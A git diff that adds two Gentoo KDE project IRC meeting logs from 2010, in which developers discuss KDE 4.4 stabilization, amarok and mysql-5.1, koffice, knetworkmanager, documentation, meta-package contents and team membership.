+[22:14:34] <tampakrap> back again to kde 4.4
+[22:14:46] <tampakrap> any known problems? blockers?
+[22:14:55] <scarabeus> yeah it is slightly flaky
+[22:14:57] <alexxy> archies =)
+[22:15:02] <scarabeus> i got few crashes in kwin and plasma
+[22:15:24] <Sput> also, congrats scarabeus :)
+[22:15:25] <Civil> few crashes in krunner and plasma
+[22:15:27] <tampakrap> me too, so i guess 4.4.1 will be the stable candidate
+[22:15:30] <scarabeus> also the virtuoso migration is not exactly funky working out of the box for some
+[22:15:36] <scarabeus> 4.4.1 or 4.4.2
+[22:15:41] <reavertm> 4.4.2 most likely
+[22:15:42] <scarabeus> we shall see after 4.4.1 release
+[22:15:51] <tampakrap> ok
+[22:15:51] <scarabeus> i would rather wait too
+[22:15:58] <reavertm> judging from the past...
+[22:15:59] <tampakrap> anything else on 4.4?
+[22:16:20] <tampakrap> i guess not
+[22:16:32] <tampakrap> jmbsvicetto: amarok and mysql 5.1 status
+[22:16:32] *** Joins: hwoarang (~mystical@gentoo/developer/hwoarang)
+[22:16:49] <reavertm> poor Jorge
+[22:17:03] <reavertm> oh wait, akonadi is indifferent...
+[22:17:26] <Sput> virtuoso migration failed for me
+[22:17:31] <alexxy> amarok works with mysql 5.1
+[22:17:33] <jmbsvicetto> ok
+[22:17:38] <alexxy> if it compiled with -FPIC
+[22:17:42] <jmbsvicetto> so, amarok and mysql-5.1
+[22:18:01] <jmbsvicetto> Fortunately it's way better than I feared when I added it to the agenda
+[22:18:32] <jmbsvicetto> The ebuilds have been updated and no one complained for the past 3 days(?) so it seems users are getting used to it ;)
+[22:18:43] <ABCD> AIUI, amarok[-embedded] should work just fine - amarok[embedded] has the same problems with 5.1 that it did with 5.0 - namely, that we need a libmysqld.so again
+[22:18:50] <jmbsvicetto> A few people are still following the bug, but we can live with it as is
+[22:19:03] <jmbsvicetto> ABCD: exactly
+[22:19:52] <jmbsvicetto> there's another quirk, preserved-libs will keep the libmysqld.so for those upgrading, which does allow amarok to work (it happened here), until we have an abi / api incompatible change
+[22:20:32] <jmbsvicetto> that is for amarok to work with mysql-5.1 - but that might cause serious issues "sooner than later"
+[22:20:56] <jmbsvicetto> in any case, I've resumed my work to get a working patch, so let's see if I can do this before we have to elect a new lead ;)
+[22:21:31] <scarabeus> :D
+[22:21:40] <tampakrap> thank you x-boss
+[22:21:47] <scarabeus> how about we stop supporting the embedded part :]
+[22:21:51] <scarabeus> and just force full amarok
+[22:21:58] <scarabeus> patch--
+[22:21:58] <scarabeus> ?
+[22:22:00] <reavertm> like akonadi does
+[22:22:01] <tampakrap> ^^!!
+[22:22:08] <reavertm> let them have it!
+[22:22:20] <reavertm> that should teach those bastards :P
+[22:22:30] <scarabeus> :D
+[22:22:38] <tampakrap> ok anything else? serious?
+[22:22:42] <scarabeus> ok lets go for koffice
+[22:22:47] <scarabeus> i guess i should answer that one
+[22:22:59] <scarabeus> problem with koffice is that expect graphic tools it is totaly unusable
+[22:23:00] * reavertm fixed kword recently
+[22:23:02] <tampakrap> go on
+[22:23:11] <scarabeus> and it needs all deps reviewed and updated based on cmakelists
+[22:23:36] <scarabeus> i personaly use only krita and dont care about rest of the bunch so it needs some dedicated guy whom will actualy use the stuff
+[22:23:49] <tampakrap> i will take this one but i may need your help
+[22:24:01] <scarabeus> query still works :]
+[22:24:19] *** Quits: aboow (house5@gateway/shell/bshellz.net/x-vhnffmhwlxzbhinj) (Disconnected by services)
+[22:24:49] <tampakrap> anything else?
+[22:24:57] <scarabeus> nop, nothing from me to add
+[22:25:13] <tampakrap> ok knetworkmanager
+[22:25:19] <jmbsvicetto> scarabeus: no harm in keeping embedded for now
+[22:25:25] <scarabeus> jmbsvicetto: oky
+[22:25:33] <scarabeus> ok we need snapshot
+[22:25:40] <scarabeus> and monthly refreshed snapshot probably
+[22:25:43] <jmbsvicetto> scarabeus: if I can get a patch for mysql, we can make it simple again
+[22:25:45] <tampakrap> knetworkmanager crashes plasma here, i didn't prepare a snapshot i just tested with live ebuild
+[22:25:46] <scarabeus> who is willing to take that one out :]
+[22:25:59] <scarabeus> tampakrap: well plasmoid can be disabled
+[22:26:07] <scarabeus> tampakrap: most people are interested in kcm module
+[22:26:22] <scarabeus> we need monthly refreshed snapshot from svn
+[22:26:23] <tampakrap> i didn't use the plasmoid
+[22:26:31] <tampakrap> only the system tray item
+[22:26:35] <scarabeus> the same thing
+[22:26:39] <tampakrap> sure
+[22:26:40] <scarabeus> kcm is in systemsettings
+[22:26:45] <alexxy> tampakrap: is it working?
+[22:26:53] <tampakrap> kcm wasn't working though :)
+[22:26:58] <scarabeus> ok
+[22:27:03] <scarabeus> so anyone uses NM these days
+[22:27:07] <scarabeus> or are we all on wicd?
+[22:27:16] <tampakrap> i guess i didn't have time to test it since it was crashing
+[22:27:43] <tampakrap> i can prepare a snapshot but it will need a lot of testing and i'd prefer if someone with non-crashing results would do it
+[22:27:58] <alexxy> i'm on openrc init scripts and wpa_gui
+[22:28:18] *** Joins: jmrk_ (~jmrk@dslb-088-064-075-227.pools.arcor-ip.net)
+[22:28:19] <scarabeus> tampakrap: ok just add it masked to main tree
+[22:28:25] <scarabeus> and lets ask users for testing and feedback :]
+[22:28:29] <tampakrap> anyone else? no?
+[22:28:50] <scarabeus> good question, there is quite few more team members :P
+[22:28:55] <scarabeus> who is willing to do this one? :]
+[22:29:36] <tampakrap> ABCD / reavertm?
+[22:29:51] <scarabeus> there is also DrEeevil whom enjoy the user feedback anyway :D
+[22:30:04] <ABCD> I don't use NM
+[22:30:19] <scarabeus> tampakrap: i got it
+[22:30:22] <scarabeus> tampakrap: coordinate with dagger
+[22:30:28] <scarabeus> tampakrap: afterall he is maintainer of NM
+[22:30:34] <tampakrap> ah yes
+[22:30:39] <tampakrap> ok next topic
+[22:30:45] * reavertm does have static network
+[22:31:14] <tampakrap> the documentation is fine, i updated it about a month ago, if you all want can take a look and propose fixes
+[22:31:19] <tampakrap> two issues though:
+[22:31:32] <tampakrap> 1) jmbsvicetto promised to clean up the member list
+[22:31:48] <scarabeus> which will be probably my task now :/
+[22:32:01] <tampakrap> 2) i have an open bug about xdm configuration which i don't like, i'd like your feedback
+[22:32:09] <scarabeus> i will sent mail to everyone who does not have 5 commits month into kde cat
+[22:32:13] <ABCD> scarabeus: I sorted it asciibetically for you (except your name is at the top) :D
+[22:32:34] <scarabeus> ABCD: lovely, you earn the big plus point :P
+[22:32:50] <tampakrap> http://bugs.gentoo.org/attachment.cgi?id=220755&action=view
+[22:33:08] <tampakrap> scarabeus: also plz remove qt members they are still there
+[22:33:34] <jmbsvicetto> tampakrap: yeah
+[22:33:44] <jmbsvicetto> tampakrap: I'll talk to scarabeus about that
+[22:33:46] <tampakrap> a small note: i didn't add the usefull links in the guide as jmbsvicetto pointed as they are not that useful :P
+[22:34:00] <scarabeus> tampakrap: recommend dejavu and droid fonts for christ sake
+[22:34:26] <scarabeus> tampakrap: other than that you should point to x11 guide which should describe xdm config iirc
+[22:34:39] <tampakrap> cool
+[22:34:43] <tampakrap> i like that
+[22:35:26] <tampakrap> last point: i'm going to blog about kde3 removal and the kde-sunset existence, so that ppl will hopefully stop filling stupid kde3 bugs anymore
+[22:35:38] <scarabeus> its only gnu_andrew
+[22:35:45] <scarabeus> and he will fill them anyway just to annoy us
+[22:36:05] <reavertm> heh
+[22:36:07] <tampakrap> i don't have to say anything else about the docs, just i am waiting for you to take a look plz
+[22:36:24] <reavertm> remove kdeprefix from docs
+[22:36:31] <reavertm> kde guide is way too red
+[22:36:45] <tampakrap> funny, i agree on that
+[22:36:51] <reavertm> friendly 'notes' everywhere
+[22:37:10] <reavertm> it's impossible to follow
+[22:37:11] <scarabeus> :D
+[22:37:22] <scarabeus> yeah just wipe out kdeprefix from docs is good idea
+[22:37:34] <jmbsvicetto> about kde3 and kde-sunset, my opinion is that we did one thing wrong
+[22:37:49] <reavertm> also maybe sets...
+[22:37:56] <jmbsvicetto> my initial goal was never to make kde-sunset a "dumping ground" to be mastered by users alone
+[22:38:01] <reavertm> info about sets - remove as well?
+[22:38:14] <tampakrap> reavertm: i think we can have a note about sets, but keep metas as the default option
+[22:38:27] <scarabeus> nah sets are weird
+[22:38:31] <scarabeus> they are bbd now
+[22:38:32] <ssuominen> jmbsvicetto: i'm sure everyone knows that, but you can't force devs to work on it :)
+[22:38:39] <tampakrap> jmbsvicetto: i'm still following the kde-sunset commits
+[22:38:43] <jmbsvicetto> I'd rather have an overlay with commits just by devs and trusted committers (akin to sunrise) and another overlay with free access by users
+[22:38:55] <wired> jmbsvicetto: well your idea assumes devs are interested
+[22:38:59] <jmbsvicetto> but now it's too late, so we'll have to live with it as is
+[22:38:59] <wired> jmbsvicetto: we have none of those
+[22:39:00] <wired> :p
+[22:39:15] * jmbsvicetto cries for sets
+[22:39:34] <scarabeus> jmbsvicetto: not in this implementation, sorry
+[22:39:34] <jmbsvicetto> I know (devs and KDE3)
+[22:39:55] <tampakrap> ok, i guess we are done
+[22:39:56] <scarabeus> pretty much all gentoo devs have commit access to that overlay..
+[22:40:48] <tampakrap> the following two topics are long time ideas i had
+[22:40:54] <tampakrap> drop prefixes from kde ebuilds (like kdeartwork etc)
+[22:40:59] <Sput> I use NM with the plasmoid and both work great
+[22:41:01] <Sput> trunk though.
+[22:41:22] <Sput> if anyone dares to remove the plasmoid from -9999 I will keel him
+[22:41:23] <Sput> :)
+[22:41:23] <ABCD> tampakrap: things like kdebase-data... you think it should just be "emerge data"?!
+[22:41:45] <tampakrap> well no
+[22:41:48] <reavertm> drop prefixes? no
+[22:41:51] <tampakrap> but for kdebase-startkde yes
+[22:41:56] <reavertm> add prefixes? more likely :P
+[22:41:58] <tampakrap> or for the artwork ones
+[22:42:01] <ssuominen> please no another dev-haskell/
+[22:42:09] <ssuominen> try emerge opengl or emerge x11
+[22:42:20] <ABCD> startkde makes sense
+[22:42:20] <ssuominen> or zlib for that matter
+[22:42:23] <reavertm> or chromium :)
+[22:42:29] <reavertm> same with emacs
+[22:42:35] <scarabeus> yeah i think it is not worth the gain
+[22:43:11] <reavertm> whatever I try to install, it tells me that I need to choose between sam app-emacs/XXX and <what_i_need>/XXX
+[22:43:15] <ssuominen> we dropped -plugin- from xfce-extra/'s for a long time, and I can tell you... it was, nothing but a pain
+[22:43:29] <ABCD> tampakrap: oh, and kdeartwork-kscreensaver can't be "kscreensaver", because kde-base/kscreensaver is kdebase-workspace
+[22:43:34] <reavertm> scarabeus: you wanted to add prefixes some time ago
+[22:43:41] <tampakrap> ok i got your point
+[22:44:04] <reavertm> to have module precede package name - like kdegames-sth
+[22:44:22] <scarabeus> reavertm: i thought of it bit more, and it would just take too much time :]
+[22:44:22] <tampakrap> reavertm: it's the same i guess, too much pain, doesn't worth it
+[22:44:29] <reavertm> so that one can easily know what module is this withour reading ebuild
+[22:44:41] <scarabeus> grep KMMODULE is simple :D
+[22:44:47] <scarabeus> or KMNAME
+[22:44:48] <scarabeus> :]
+[22:44:53] <reavertm> yest, misleading
+[22:44:55] <tampakrap> well, i don't want to emerge kdepim-kmail
+[22:45:04] <reavertm> module = kdepim, not subdir in kdepim
+[22:45:20] <reavertm> KMMODULE is a bit unfortunate name...
+[22:45:39] <tampakrap> never mind
+[22:45:43] <scarabeus> indeed, sadly i dont want to redesing the eclass again :D
+[22:45:52] <scarabeus> reavertm: i bet you dont want either
+[22:45:52] <reavertm> we have one convention already
+[22:46:01] <tampakrap> we all agreed i guess not to touch anything
+[22:46:06] <tampakrap> next?
+[22:46:21] <reavertm> for those that are in multiple module, we have plasma-apps, plasma-workspace, plasma-runtime
+[22:46:25] <reavertm> same with solid-
+[22:46:35] <reavertm> let's just keep it when needed
+[22:46:40] <tampakrap>  change kde-meta (and @kde-*) to include all modules (plus the developer specific ones)
+[22:46:44] <tampakrap> reavertm: sure
+[22:46:52] <scarabeus> i dont get what are you proposing with this topic :P
+[22:47:08] <scarabeus> it should include even kdesdk?
+[22:47:11] <scarabeus> thats baad idea
+[22:47:24] <scarabeus> 99% of users dont want it
+[22:47:31] <scarabeus> they just emerge kde-meta cause they are lazy
+[22:47:45] <tampakrap> that's what i'm proposing yes
+[22:47:54] <ABCD> -1
+[22:48:07] <tampakrap> and how is kdewebdev more useful?
+[22:48:23] <reavertm> on the other hand, we don't get bugreports for them because nobody is using this
+[22:48:25] <tampakrap> how about a developer something flag?
+[22:48:33] <tampakrap> exactly!
+[22:48:43] <reavertm> (less bugs -> more fun)
+[22:48:53] <krytzz> hm tampakrap useflag would be bad, not supported on sets right?
+[22:49:00] <reavertm> sorry -1 from me
+[22:49:00] <scarabeus> tampakrap: developer useflag could work on meta
+[22:49:03] <scarabeus> but what for sets
+[22:49:06] <scarabeus> its baad idea
+[22:49:15] <scarabeus> if user wants it he can merge kdesdk-meta
+[22:49:19] <scarabeus> or kdewebdev-meta
+[22:49:29] <tampakrap> kdewebdev is already in kde-meta
+[22:49:41] <krytzz> introduce a new set? kde-lazy? :p
+[22:49:47] <wired> kde-meta shouldn't be used by users
+[22:49:53] <reavertm> why?
+[22:49:59] <tampakrap> at least i think sets should include them all
+[22:50:01] <wired> +1 for tampakrap's proposal, we should have everything in there.
+[22:50:11] <wired> i except kde-meta to install everything
+[22:50:32] <reavertm> expect*
+[22:50:33] <ABCD> wired: I hope you "expect", not "except" :D
+[22:50:39] <wired> expect gr
+[22:50:43] <tampakrap> for me kde-meta is http://websvn.kde.org/trunk/KDE/
+[22:50:54] <wired> a "recommended" USE flag could be introduced to skip stuff not needed by users
+[22:50:55] <jmbsvicetto> ABCD: he uses qt with the "exceptions" use flag ;)
+[22:51:10] <reavertm> kdeexamples O_o?
+[22:51:23] <jmbsvicetto> if you add the kdebindings stuff to kde-meta, I'm sure we'll get a few interesting bug reports ;)
+[22:51:44] <jmbsvicetto> (wom 96
+[22:52:01] <tampakrap> ok then, i'll rephrase: how about a developer something use flag in metas and include everything in sets?
+[22:52:10] <scarabeus> we can have kdefull-meta
+[22:52:13] <scarabeus> or somethingl ike
+[22:52:14] <tampakrap> at least for sets it makes sence, users can create their own
+[22:52:17] <scarabeus> kde-burnmycomputer
+[22:52:27] <scarabeus> but not kde-meta
+[22:52:35] <scarabeus> it is full blown working kde desktop
+[22:52:37] <scarabeus> not full kde
+[22:52:44] <tampakrap> i still prefer the use flag idea
+[22:52:57] <scarabeus> lets discuss this on alias
+[22:53:06] <reavertm> well, we can have kde-meta installa all, but advice to use kdebase-meta instead
+[22:53:08] <tampakrap> in gentoo-desktop
+[22:53:14] <scarabeus> or that
+[22:53:23] <scarabeus> but there will be duncan
+[22:53:24] <tampakrap> ok let's discuss it in the mailing list, i'll start the thread
+[22:53:28] <scarabeus> and who is going to read that :D
+[22:53:32] <tampakrap> i won't
+[22:53:36] <tampakrap> i have work to do
+[22:53:43] <wired> you know
+[22:53:52] <wired> gmail used to automatically clasify duncan as spam
+[22:54:12] <tampakrap> cool next topic
+[22:54:14] <tampakrap>   13 - stabilization of misc kde apps
+[22:54:17] <wired> :P
+[22:54:25] <scarabeus> qa scripts can help with that
+[22:54:27] <tampakrap> wired promised a script :)
+[22:54:32] <tampakrap> for qt also
+[22:54:34] <scarabeus> but we have quite too much packages
+[22:54:39] <scarabeus> in kde
+[22:54:43] <scarabeus> it takes some time to compute
+[22:54:43] <scarabeus> L:D
+[22:54:48] <wired> oioi i had to do that for kde as well ^_^
+[22:54:57] <scarabeus> wired: okey your job :P
+[22:55:01] <wired> ok i'll repromise to the new lead as well
+[22:55:03] <scarabeus> show us cookies on next meeting :D
+[22:55:06] <wired> i have a todo file now!
+[22:55:08] <wired> :P
+[22:55:11] <tampakrap> next week plz
+[22:55:13] <tampakrap> max
+[22:55:20] <wired> scarabeus: kick him please :D
+[22:55:26] <tampakrap> last topic shut up
+[22:55:28] <tampakrap>   14 - patches of kde-packager
+[22:55:57] <tampakrap> i was kinda busy with exams last month i was not following the ml
+[22:56:08] <tampakrap> reavertm maybe knows anything?
+[22:56:19] <scarabeus> ABCD is suposed to apply kde-packager patches
+[22:56:22] <tampakrap> or jmbsvicetto i think he brought up the subject
+[22:56:28] <scarabeus> as was decided on one of the former meetings
+[22:56:42] <reavertm> well, there are some and they need to be applied as they appear....
+[22:57:00] <jmbsvicetto> yeah, there have been a few patches sent to the packagers ml that didn't go applied
+[22:57:00] <tampakrap> ABCD: will you handle it?
+[22:57:12] <reavertm> I lag here a bit (also due to limited time recently)
+[22:57:14] <tampakrap> anyone else willing to help on this?
+[22:57:15] <jmbsvicetto> I think there are 3 for 4.4 by now
+[22:57:26] <ABCD> I hadn't be able to get on the list until very recently, so I haven't seen those patches yet
+[22:57:50] <scarabeus> i am qute busy in x11 tracking so i cant do such pernament task for kde sadly :/
+[22:57:53] <jmbsvicetto> ABCD: I thought I had asked for everyone to be put in the ml
+[22:58:18] <jmbsvicetto> I'll try to follow the ml
+[22:58:29] <tampakrap> ok, jmbsvicetto / ABCD will you handle this?
+[22:58:34] <jmbsvicetto> in the least I can open a bug with the patch / patch link
+[22:58:42] <tampakrap> sure that too
+[22:59:15] <jmbsvicetto> scarabeus should be able to add new people to the ml, but in any case I can always poke rdeiter and the kde infra team to get it done
+[22:59:22] <ABCD> I'll look into it too
+[22:59:28] <tampakrap> great
+[22:59:39] <tampakrap> alexxy: what did you want to talk about?
+[22:59:46] <scarabeus> jmbsvicetto: thx for the hint, be sure i will ask anything i would not know how to do :]
+[22:59:58] <jmbsvicetto> scarabeus: any time you need
+[23:00:26] <tampakrap> alexxy: ping
+[23:00:47] <scarabeus> i have 1 thing: we need another kde HT lead, i cant do herd testers lately due to limited time, and it would be sad if we loose that nice recruit count, dont you think?
+[23:00:52] <scarabeus> anyone wants to pick that one up?
+[23:01:38] <tampakrap> which are the requirements?
+[23:02:00] <scarabeus> tampakrap: be on irc, actively follow the new recruits and help them
+[23:02:03] <scarabeus> and motivate them
+[23:02:09] <reavertm> like devrel said, a few children and 'mature' attitude ;)
+[23:02:11] <scarabeus> come on you saw me in action as one of the closest
+[23:02:18] <scarabeus> you know what i did :]
+[23:02:23] <tampakrap> ok i'm not good at it
+[23:02:39] *** Quits: willikins (~rbot@gentoo/bot/Willikins) (Read error: Operation timed out)
+[23:02:51] <tampakrap> i tend to insult ppl like wired three times per day before food
+[23:03:14] <scarabeus> good training is actualy teaching :]
+[23:03:29] <scarabeus> ok we keep it as-is and i will anounce on alias :]
+[23:03:40] <jmbsvicetto> reavertm: I'm on devrel ;)
+[23:03:47] <alexxy> tampakrap: pong 
+[23:03:48] <alexxy> =)
+[23:03:57] <tampakrap> alexxy: topics you wanted to discuss?
+[23:04:00] <scarabeus> ok /me has to disappear
+[23:04:02] <scarabeus> so have fun
+[23:04:03] <tampakrap> make it quick plz
+[23:04:06] <scarabeus> and dont break a shit
+[23:04:07] <scarabeus> :D
+[23:04:11] <jmbsvicetto> reavertm: I guess I'm "old enough" at least ;)
+[23:04:16] <reavertm> hehe
+[23:04:18] <alexxy> seems we already discussed them all
+[23:04:19] <alexxy> =)
+[23:04:24] <tampakrap> cool
+[23:04:27] <tampakrap> meeting closed
+[23:04:32] <tampakrap> i'll prepare the summary
+[23:04:32] <alexxy> yep
+[23:04:52] <tampakrap> it was cool to moderate you all, next time don't bring your dolls plz
+[23:05:55] * tampakrap joke fail
+[23:05:59] <jmbsvicetto> dolls? I didn't knew I had to bring mine!!
+[23:06:51] <wired> o_O
+[23:12:24] *** Quits: reavertm (~quassel@gentoo/developer/reavertm) (Remote host closed the connection)
+[23:15:20] *** Joins: reavertm (~quassel@bsb151.neoplus.adsl.tpnet.pl)
+[23:15:21] *** Quits: reavertm (~quassel@bsb151.neoplus.adsl.tpnet.pl) (Changing host)
+[23:15:21] *** Joins: reavertm (~quassel@gentoo/developer/reavertm)
+[23:22:53] *** Parts: spatz (~spatz@gentoo/developer/spatz)
+[23:23:37] <tampakrap> reavertm: ping
+[23:23:59] <reavertm> hmm?
+[23:24:23] <tampakrap> sorry for doing this, yngwin requested to add to topics the desktop profile split but i failed to push :P
+[23:24:45] <tampakrap> is there anything we should discuss (in ml i guess) or can we proceed on this?
+[23:24:53] <reavertm> no, please do
+[23:25:14] <reavertm> we voted on this already, no?
+[23:25:19] <tampakrap> yes
+[23:28:02] *** Quits: jmrk_ (~jmrk@dslb-088-064-075-227.pools.arcor-ip.net) (Quit: Konversation terminated!)
+[23:35:05] <yngwin> tampakrap: does this mean it is going to be implemented now, or?
+[23:35:13] <tampakrap> yes
+[23:35:19] <tampakrap> i will do it
+[23:35:22] <yngwin> ok, tnx
+[23:35:27] <tampakrap> i 'll write it in summary too
+[23:35:34] <tampakrap> so you can have proof :)
+[23:35:36] <yngwin> good :)
+[23:36:02] <yngwin> otherwise i will just remove the ridiculous mysql requirement from desktop profile myself ;)
+[23:36:04] <tampakrap> sorry for not bringing this up, i thought i pushed it
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20100318.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20100318.txt
new file mode 100644
index 00000000..52960de0
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20100318.txt
@@ -0,0 +1,206 @@
+[22:02:03] <tampakrap> alexxy / bonsaikitten / dagger / jmbsvicetto / lxnay / mrpouet / reavertm_ / scarabeus / spatz / wired
+[22:02:05] <tampakrap> meeting time
+[22:02:12] <tampakrap> http://git.overlays.gentoo.org/gitweb/?p=proj/kde.git;a=blob;f=Documentation/maintainers/meetings/meeting-2010-03-18;h=b056be61645fbd793cf07cb9d0eb968e961cb2c1;hb=HEAD
+[22:02:21] <tampakrap> who is here?
+[22:02:25] <dagger> mesa here
+[22:02:29] <spatz> me
+[22:02:39] <scarabeus> boss around
+[22:02:44] <spatz> although my connection is flaky
+[22:02:47] <leio> ping me when it gets to subprofile stuff I guess. Preoccupied 30 more mins
+[22:03:00] <tampakrap> leio: i was about to ping me
+[22:03:07] <tampakrap> ok let's skip it for now
+[22:03:12] <tampakrap> s/me/you
+[22:03:18] <leio> well, in that agenda it's last item anyway..
+[22:04:11] <tampakrap> let's wait another 10 mins, many ppl are away
+[22:04:31] -*- alexxy here ;)
+[22:05:54] <scarabeus> I will start with the lighter thing
+[22:06:00] <scarabeus> since there were no objections to new rules
+[22:06:01] --> willikins (~rbot@gentoo/bot/Willikins) has joined #gentoo-meetings
+[22:06:10] <tampakrap> woohaa bot is back
+[22:06:13] <tampakrap> !herd kde
+[22:06:16] <scarabeus> i will start enforcing them
+[22:06:36] <tampakrap> where is the draft first of all?
+[22:06:39] <scarabeus> so i will thin up team list probably
+[22:06:40] <tampakrap> and why isn't it in git?
+[22:06:52] <scarabeus> what for my rules?
+[22:06:55] <scarabeus> i sent you mail
+[22:07:06] <tampakrap> ok, commit it in git :)
+[22:07:36] <scarabeus> http://dev.gentoo.org/~scarabeus/kde-team-rules.html
+[22:08:04] <scarabeus> i would have to find that rst first :P
+[22:08:15] <jmbsvicetto> pong
+[22:08:28] <tampakrap> ok let's start now
+[22:08:29] <jmbsvicetto> I just need a minute to put my things down and I'll be back
+[22:08:34] <tampakrap> again who is here?
+[22:08:51] <scarabeus> scarab
+[22:09:09] -*- spatz ←
+[22:09:09] <tampakrap> !herd kde
+[22:09:26] <tampakrap> (it responds to pm at least)
+[22:09:36] <tampakrap> <willikins> (kde) abcd, alexxy, carlo, cryos, dagger, deathwing00, jmbsvicetto, keytoaster, lxnay, mrpouet, patrick, scarabeus, spatz, sping, tampakrap, tgurr, wired
+[22:09:57] -*- wired o/
+[22:10:25] -*- alexxy partialy there or here or somwhere else
+[22:11:09] <tampakrap> scarabeus: go on with the removal of members plz
+[22:11:18] <tampakrap> what's the news on this?
+[22:11:28] <scarabeus> well you didnt complain
+[22:11:35] <scarabeus> so i will put down a list, and clean up
+[22:11:46] <scarabeus> you had 1 month to write objections to my rules list :]
+[22:12:14] <scarabeus> just to note, it has nothing against the named developers, i just preffer that people know who is maintaining it
+[22:12:59] <jmbsvicetto> here
+[22:13:02] <tampakrap> anything else on this?
+[22:13:31] <scarabeus> only if you have questions
+[22:13:58] <tampakrap> questions? anyone?
+[22:14:52] <tampakrap> so, people are going to be removed from the team, i repeat: questions?
+[22:15:13] <willikins> (kde) abcd, alexxy, carlo, cryos, dagger, deathwing00, jmbsvicetto, keytoaster, lxnay, mrpouet, patrick, scarabeus, spatz, sping, tampakrap, tgurr, wired
+[22:15:38] <tampakrap> let's move on
+[22:15:46] <tampakrap> Review work flow for KDE minor bumps and improve collaboration with arch teams
+[22:15:49] <willikins> (kde) abcd, alexxy, carlo, cryos, dagger, deathwing00, jmbsvicetto, keytoaster, lxnay, mrpouet, patrick, scarabeus, spatz, sping, tampakrap, tgurr, wired
+[22:15:51] <tampakrap> scarabeus: ^^?
+[22:16:09] <scarabeus> it was written last time, wasn't it?
+[22:16:56] <tampakrap> we were going to continue the discussion today
+[22:17:10] <tampakrap> unless nothing new is going to be said
+[22:17:14] <tampakrap> jmbsvicetto: ^^?
+[22:17:39] <jmbsvicetto> tampakrap: iirc I had only one change and it was accepted
+[22:18:42] <tampakrap> ok
+[22:18:43] <tampakrap> next
+[22:18:54] <tampakrap> KDE-4.4 status
+[22:19:09] <tampakrap> 4.4.1 is out, you said that ppl reported problems with 4.4.0
+[22:19:14] <tampakrap> i didn't have any at least
+[22:19:22] <scarabeus> i saw few people working on bindings finaly in overlay
+[22:19:25] <scarabeus> which is great
+[22:19:41] <tampakrap> indeed
+[22:19:57] <tampakrap> can we have 4.4.1 as a stable candidate? regressions? blockers?
+[22:20:02] <jmbsvicetto> It's working great here
+[22:20:10] <jmbsvicetto> I don't have kdepim or kdebindings, though
+[22:20:28] <tampakrap> kdepim is great, kdebindings needs work
+[22:20:40] <dagger> I've got full kde-4.4.1 and it's good. I had problems migrating from 4.3.x with kmail, but it's all ok now
+[22:20:50] <tampakrap> i guess we should pay attention on this and if there are no further problems we can have it as a stable candidate
+[22:21:02] <spatz> schedule?
+[22:21:33] <wired> 4.4.1 works great here too - and on colleague's system as well (users are best test :P)
+[22:21:50] <tampakrap> i guess start of next month? scarabeus?
+[22:22:06] <scarabeus> ok, i saw no more issues too
+[22:22:18] <scarabeus> just check regressions against 4.3 -> 4.4 migration
+[22:22:19] <alexxy> фдыщ нуы
+[22:22:23] <scarabeus> and ok for 4.4.1 patch
+[22:22:24] <alexxy> yep
+[22:22:31] <alexxy> 4.4.1 works great
+[22:22:41] <alexxy> also we use it at university
+[22:22:45] <alexxy> as De for students
+[22:23:06] <tampakrap> scarabeus: start of next month is ok?
+[22:23:25] <scarabeus> yup
+[22:23:26] <spatz> meaning two weeks from now?
+[22:23:36] <tampakrap> no, stable bug
+[22:23:43] <tampakrap> sorry misread :P
+[22:23:44] <tampakrap> yes
+[22:24:14] <tampakrap> unless there aren't any other things here, we can move
+[22:24:21] --> dilfridge (~quassel@gateway.maximilianeum.mhn.de) has joined #gentoo-meetings
+[22:24:34] <tampakrap> enterprise useflag for kdepim stuff (a use flag to follow the enterprise branch of the kdepim repo, only for trunk)
+[22:24:54] <scarabeus> nobody sent any mail or word about working on it
+[22:24:58] <scarabeus> so we should move it to todo
+[22:25:04] <scarabeus> until someone feels motivated enough
+[22:25:04] <tampakrap> i lack the hardware to proceed on this, plus i asked for help, noone answered
+[22:25:19] <tampakrap> Sput: anything you want to say on this?
+[22:25:36] <dagger> i dont know anything about it, but would like to get some information. what's different in enterprise branch?
+[22:26:04] <dagger> does enterprise branch contain support for Openchange/libmapi?
+[22:26:27] <dagger> (that's required for propler M$ exchange 2003/2007/2010 support)
+[22:26:31] <tampakrap> enterprise branch for kdepim is the actual branch were kde developers care about
+[22:26:39] <tampakrap> since kdepim trunk is broken right now
+[22:26:47] <dilfridge> it's supposed to stay stable while everything else is being ported to akonadi (and broken in the meantime)
+[22:26:47] <scarabeus> dagger: it is the branch that is more stable/solid, developers care about that one, because they are payed for that branch
+[22:27:14] <dagger> so I guess it's not part of "default" kdepim right?
+[22:27:20] <tampakrap> ok, we'll move this topic for next meeting, since there is no progress
+[22:27:22] <tampakrap> right
+[22:27:50] <tampakrap> let's move
+[22:27:52] <tampakrap> koffice status
+[22:28:10] <tampakrap> new koffice is released, i did a simple rename, and it currently is in hilarious status
+[22:28:18] <tampakrap> some packages don't even compile
+[22:28:53] -*- scarabeus told you so
+[22:29:04] <tampakrap> i'll try to fix it, but i'll need help, anyone willing to help me is welcome
+[22:29:16] <wired> i might
+[22:29:25] <tampakrap> current ebuilds are hardmasked in overlay, tarball is not released yet
+[22:29:31] <wired> okie
+[22:29:55] <tampakrap> and we should be quick on this and try to have a schedule for stabilization too
+[22:30:17] <tampakrap> as it also new packages
+[22:30:34] <wired> btw i can help with quick-ish stabilization on amd64
+[22:30:42] <tampakrap> sure
+[22:30:47] <Sput> tampakrap: enterprise branch is based on pre-akonadi kdepim and supposedly works
+[22:30:56] <Sput> but a USE flag isn't gonna cut it, the packages are too different
+[22:31:20] <Sput> also we might have to check what they have outside of kdepim, I think they even ship a hacked kdelibs
+[22:31:26] <wired> o_O
+[22:31:33] <wired> kdelibs-lite!
+[22:31:34] <wired> ;p
+[22:31:37] <Sput> (but Paul Adams told me it should work fine with 4.5)
+[22:31:41] <tampakrap> yes, we need a different branch for this
+[22:32:01] <Sput> there was a mail recently on kde-scm-interest where steveire detailed how branches work
+[22:32:23] <Sput> kdepim is in the process of moving to git (as the rest of KDE)
+[22:33:05] <Sput> in any case, the enterprise5 branch is going to be based on KDE 4.5, the enterprise4 branch is based on KDE 4.4
+[22:33:47] <tampakrap> ok thanks i'm going to add those info in a mail and try to revive the issue to users
+[22:34:19] <tampakrap> moving to next one
